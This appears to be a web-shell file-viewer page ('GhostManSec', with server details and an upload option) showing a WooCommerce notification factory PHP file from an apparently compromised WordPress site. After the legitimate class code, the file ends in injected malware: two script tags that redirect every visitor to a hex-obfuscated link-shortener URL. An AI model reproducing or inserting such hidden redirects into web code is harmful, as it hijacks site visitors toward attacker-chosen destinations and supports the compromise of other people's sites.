GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/roflma.it/wp-content/plugins/woocommerce/src/Internal/StockNotifications/Factory.php
<?php
/**
 * Notification Factory
 */

declare( strict_types = 1 );

namespace Automattic\WooCommerce\Internal\StockNotifications;

use Automattic\WooCommerce\Internal\StockNotifications\Notification;

defined( 'ABSPATH' ) || exit;

/**
 * Notification factory class
 */
class Factory {

	/**
	 * Get the notification object.
	 *
	 * @param  int $notification_id Notification ID to get.
	 * @return Notification|bool
	 */
	public static function get_notification( int $notification_id ) {

		if ( ! $notification_id ) {
			return false;
		}

		try {
			$notification = new Notification( $notification_id );
			return $notification;
		} catch ( \Exception $e ) {
			\wc_caught_exception( $e, __FUNCTION__, array( $notification_id ) );
			return false;
		}
	}

	/**
	 * Create a dummy notification for preview/testing purposes.
	 *
	 * @return Notification
	 */
	public static function create_dummy_notification(): Notification {
		$notification = new Notification();

		// Create a dummy product.
		$product = new \WC_Product();
		$product->set_name( __( 'Dummy Product', 'woocommerce' ) );
		$product->set_price( 25 );
		$product->set_image_id( get_option( 'woocommerce_placeholder_image', 0 ) );

		// Set required notification data.
		$notification->set_product_id( $product->get_id() );
		$notification->set_user_email( '[email protected]' );

		// Store the dummy product in the notification object for preview.
		$notification->product = $product;

		return $notification;
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>